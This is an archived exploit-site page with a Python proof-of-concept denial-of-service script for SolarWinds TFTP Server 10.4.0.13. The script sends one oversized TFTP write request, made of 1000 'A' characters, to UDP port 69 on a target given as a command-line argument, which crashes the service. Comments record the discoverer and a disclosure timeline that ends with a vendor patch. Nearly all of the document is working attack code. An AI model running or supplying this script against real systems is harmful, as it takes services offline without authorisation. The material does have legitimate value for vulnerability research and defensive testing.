Solarwinds 10.4.0.13 Denial of Service
Posted on 12 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Solarwinds 10.4.0.13 Denial of Service</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================== Solarwinds 10.4.0.13 Denial of Service ====================================== #!/usr/bin/python print " ############################################################" print "## Nullthreat Network" print "## Solarwinds TFTP Server Ver. 10.4.0.13" print "## Elliott "Nullthreat" Cutright" print "## nullthreat@nullthreat.net" print "############################################################" print " " # Summary: An long Write Request (1000 A's) will cause SolarWinds TFTP Server to crash. # Tested on: Windows XP SP3 # Usage: ./solarwindscrash.py <IPADDRESS> # Note: It can take the application a few moments to crash, be patiant. # Shouts: #SEUnited, Corelan Team # Discovered: June 6th 2010 # Vendor Notified: June 9th 2010 # Patch Released: June 11th 2010 import socket import sys host = sys.argv[1] port = 69 addr = (host,port) s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) print "[*] Building Crash" crash = "x41" * 1000 request = "x00x02" + crash + "x00" + "NETASCII" + "x00" print "[*] Sending Crash" s.sendto(request, addr) print "[*] Crash Sent, It can take some time for the app to crash" # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-12]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>